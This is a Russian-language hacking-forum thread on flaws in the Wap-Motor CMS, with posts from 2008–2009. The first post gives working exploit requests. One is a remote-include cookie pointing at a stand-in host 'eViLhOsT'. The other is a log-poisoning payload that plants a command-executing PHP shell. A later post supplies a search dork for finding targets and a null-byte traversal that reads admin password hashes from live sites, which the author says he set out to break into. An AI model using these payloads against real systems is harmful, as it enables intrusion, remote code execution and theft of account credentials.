[ Обзор уязвимостей Wap-Motor ]

Discussion in 'Уязвимости' started by [Raz0r], 7 Aug 2008.

  1. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    Wap-Motor 17.5 LFI/RFI Vulnerability

    Сайт разработчика: http://visavi.net/
    Уязвимые версии: Wap-Motor 17.5, возможно более ранние версии

    Описание: сценарий index.php подключает необходимые скрипты, первый из которых (template/start.php) извлекает данные в текущую символьную таблицу, допуская перезапись переменных:
    PHP:
    <?php
    extract
    ($HTTP_GET_VARS);
    extract($HTTP_POST_VARS);
    extract($HTTP_COOKIE_VARS);
    extract($HTTP_SERVER_VARS);
    extract($HTTP_SESSION_VARS);
    ?>
    На основе переменных $p и $f составляется строка, которая впоследствии передается в функцию include (index.php@48-56):
    PHP:
    <?php
    if(empty($f)){$f='index';}
    echo 
    $p.'/'.$f.'.'.$config_ras;
    $sfx file($p.'/'.$f.'.'.$config_ras);
    if (!
    $sfx){
        echo 
    'Файл с данными параметрами не найден!';
    }else{
        include_once 
    $p.'/'.$f.'.'.$config_ras;
    }
    ?>
    Система предполагает получение переменных $p и $f со стороны пользователя, однако проверка данных проводится только в массиве $_GET (index.php@23):
    PHP:
    <?php
    if(eregi("[^a-z0-9_-]",$_GET['f']) || eregi("[^a-z0-9_-]",$_GET['p'])){header ("Location: index.php?error&".SID); exit;}
    ?>
    При передаче параметров p и f в cookie или в POST-запросе существует возможность обхода фильтрации и внедрения произвольных данных в функцию include.

    RFI-эксплоит (для удачной эксплуатации на удаленном сервере необходимо создать файл s.mot с php-кодом, а также необходим allow_url_include=on):
    GET /index.php HTTP/1.0
    Host: localhost
    Cookie: p=http://eViLhOsT; f=s;
    Connection: close


    LFI-эксплоит (нужна сессия пользователя, а также необходим magic_quotes_gpc=off):
    GET /index.php/%3C%3Fphp+echo+%60%7B$_COOKIE%5B'c'%5D%7D%60%3B+%3F%3E HTTP/1.0
    Host: localhost
    Cookie: p=local/who.dat%00; c=id; SID=qsm8nce7777k4tvkt0vfbiem41;
    Connection: close


    Несмотря на путь, будет запрошен скрипт index.php, и в файл local/who.dat, логирующий активность недавних пользователей, будет записан следующий код:
    user|/index.php/<?php echo `{$_COOKIE['c']}`; ?>|11|1218131297|

    При этом произойдет обращение к local/who.dat с параметром c, который содержит команду для выполнения.
     
    #1 [Raz0r], 7 Aug 2008
    Last edited: 12 Jan 2009
    2 people like this.
  2. SeNaP

    SeNaP Elder - Старейшина

    Joined:
    7 Aug 2008
    Messages:
    378
    Likes Received:
    69
    Reputations:
    20
    тыбы лучше пример показал :)
     
  3. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    уязвимость присутствовала на сайте вот этих горе-хакеров:
    http://www.xak.net.ua/
    но на данный момент этого сайта уже не существует, кроме того автор опубликовал версию 18.0, поэтому примеры ищите сами ;)
     
  4. Twoster

    Twoster Members of Antichat

    Joined:
    20 Aug 2008
    Messages:
    287
    Likes Received:
    402
    Reputations:
    159
    Уязвимости Wap-motor v. 18.0 и ранних

    Взлом учетных записей CMS Wap-motor v. 18.0

    Уязвимый продукт: Wap-motor
    Версия: <= 18.0
    Дорк: "Powered by Wap-motor"
    ОФФ-сайт: http://visavi.net
    Линк на скачивание: http://visavi.net/download/down.php?action=ob&did=wap-motor16&fid=MOTOR18.zip&

    Взлом учетных записей CMS Wap-motor v. 18.0

    Вступление #1. (Начну издалека…)

    Еще примерно с 2006 г, когда я пребывал на одном форуме (wapteam, кто занимался вапом, должен помнить), у меня было острое желание сломать цмс конкурентов, а именно visavi.net (ныне офф.сайт данной CMS), т.к. между нашими тимами были постоянные раздоры. Однако хотя тогда Wap-motor и был ужасно дырявым, я не смог найти в нем уязвимости из-за отсутствия знаний! =( Но, сейчас, когда уже движок обновился более чем на 10 версий, моя мечта сбылась! =)

    Вступление #2. (History…)

    На данный момент Wap-motor самая популярная CMS в рувапе!
    К примеру по запросу Powered by Wap-motor гугл выдает 12,100 результатов.
    Данная CMS может быть установлена по умолчанию на http://h2m.ru (т.е. предустановленным скриптом)

    Вступление #3. (MOTOR17.4…) (БАЯН! Не заметил тему [Raz0r] https://forum.antichat.ru/thread80077.html)
    Итак, у меня была на харде данная CMS с версией MOTOR17.4.
    Я решил в ней покопаться, и после недолгих манипуляций получил просмотр локальных файлов!

    Пример #1:
    Например при таком урл
    Передать куки подобного содержания:
    Где Twost – это ник админа.

    Пример #2:
    Аналогично.

    Эти две уязвимости были возможны из-за наивности кодеров!

    Уязвимый код:
    Файл ./template/regglobals.php
    PHP:
    ...
        while(list(
    $key,$value)=each($_FILES)) $GLOBALS[$key]=$value;
        while(list(
    $key,$value)=each($_ENV)) $GLOBALS[$key]=$value;
        while(list(
    $key,$value)=each($_GET)) $GLOBALS[$key]=$value;
        while(list(
    $key,$value)=each($_POST)) $GLOBALS[$key]=$value;
        while(list(
    $key,$value)=each($_COOKIE)) $GLOBALS[$key]=$value;
        while(list(
    $key,$value)=each($_SERVER)) $GLOBALS[$key]=$value;
    Файл ./index.php
    PHP:
    ...
    if(
    eregi("[^a-z0-9_-]",$_GET['f']) || eregi("[^a-z0-9_-]",$_GET['p'])){header ("Location: index.php?error&".SID); exit;}
    ...
    $sfx file($p.'/'.$f.'.'.$config_ras);
    ...
    Т.е проверялась переменная из массива $_GET, а уже в file() передавалась просто глобальная переменная. (прямо задание из РОА =))
    Естественно т.к. версия была старой то скачав последнюю версию 18.0 я убедился что дыры пропатчены. Однако есть еще! =).

    Уязвимость Wap-motor v. 18.0
    В данной версии уязвима фото-галерея скрипта.
    А именно файл
    http://[PATH]/gallery/gallery.php
    Рассмотрим код!

    PHP:
    <?php
    require_once"../template/start.php";
    require_once
    "../template/regglobals.php";
    require_once
    "../template/config.php";
    require_once
    "../template/functions.php";

    $image=check($image);
    $ext strtolower(substr($imagestrrpos($image'.') + 1));

    if(
    $ext=="jpg" || $ext=="gif" || $ext=="png"){
    if(
    $ext=="jpg"){$ext="jpeg";}

    $filename BASEDIR."local/datagallery/$image";
    $filename file_get_contents($filename);
    header('Content-Disposition: inline; filename="'.$image.'"');
    header("Content-type: image/$ext");
    header("Content-Length: ".strlen($filename));
    echo 
    $filename;
    }
    ?>
    PHP:
    ...
    if (!
    ini_get('register_globals')) {
        while(list(
    $key,$value)=each($_GET)) $GLOBALS[$key]=$value;
        while(list(
    $key,$value)=each($_POST)) $GLOBALS[$key]=$value;
           while(list(
    $key,$value)=each($_SESSION)) $GLOBALS[$key]=$value;
    }
    ...
    foreach (
    $_GET as $check_url) {
            if ((
    eregi("<[^>]*script*\"?[^>]*>"$check_url)) || (eregi("<[^>]*object*\"?[^>]*>"$check_url)) ||
                (
    eregi("<[^>]*iframe*\"?[^>]*>"$check_url)) || (eregi("<[^>]*applet*\"?[^>]*>"$check_url)) ||
                (
    eregi("<[^>]*meta*\"?[^>]*>"$check_url)) || (eregi("<[^>]*style*\"?[^>]*>"$check_url)) ||
                (
    eregi("<[^>]*form*\"?[^>]*>"$check_url)) || (eregi("\([^>]*\"?[^)]*\)"$check_url)) ||
                (
    eregi("\""$check_url)) || (eregi("\'"$check_url)) || (eregi("\./"$check_url)) || 
                (
    eregi("//"$check_url)) || (eregi("<"$check_url)) || (eregi(">"$check_url))) {

    header ("Location: ".BASEDIR."index.php?isset=403&".SID); exit;
    }
    ...
    Вот, уже картина становится яснее, виден алгоритм!
    Алгоритм действий скрипта при обработке $_GET[‘image’] :
    1. while(list($key,$value)=each($_GET)) $GLOBALS[$key]=$value;
    2. foreach ($_GET as $check_url) ...
    3. $ext = strtolower(substr($image, strrpos($image, '.') + 1));
    4. header('Content-Disposition: inline; filename="'.$image.'"');
    header("Content-type: image/$ext");
    header("Content-Length: ".strlen($filename));
    echo $filename;


    Вот что у нас получилось:
    Рассмотрим,
    image=%00 – это мы нулл-байтом прекращаем обработку eregi(). (Спасибо Elekt’у за статью Роковые ошибки Php. Часть вторая.)
    ../profil/Twost.prof %00– инклудим файл профиля (не забудьте изменить Twost на ник админа) и обрезаем все тем же нулл-байтом расширение
    .gif – а вот это подставляем для того, чтобы сюда пошло верное значение
    header("Content-type: image/$ext");

    Картинка у нас естественно не отобразилась, однако она не пуста! Откройте её текстовым редактором и увидите базу учетной записи админа, осталось только расшифровать хеш!
    Вот и все!

    Небольшой список уязвимых сайтов: (зрите вглубь картинки)
    P.S. Прошу меня простить, что расписал банальную ошибку кодеров на столько абзацев, просто для меня это не просто очередная уязвимость, а цель которую, которую я выполнил! =)
    P.P.S. Я думаю, что это не единственная дыра данного двига, поэтому буду пытаться искать далее.
    P.P.P.S. Добавлено после теста в инете:
    Как оказалось, данная уязвимость присутствует, однако проинклудить файл профиля у меня не удалось нигде… Возможно кривые руки, возможно правильные ЧМОД на файлы… (я тестил в Винде, Линь пока не работоспособна)
    В общем я еще буду разбираться и если что обнаружу, дополню!
     
    #4 Twoster, 12 Jan 2009
    Last edited: 12 Jan 2009
    5 people like this.
  5. Twoster

    Twoster Members of Antichat

    Joined:
    20 Aug 2008
    Messages:
    287
    Likes Received:
    402
    Reputations:
    159
    Подправил пост, дико извиняюсь, не заметил темы [Raz0r]'a
    https://forum.antichat.ru/thread80077.html
    Пункт про версию 17.4 считать не действительным! =)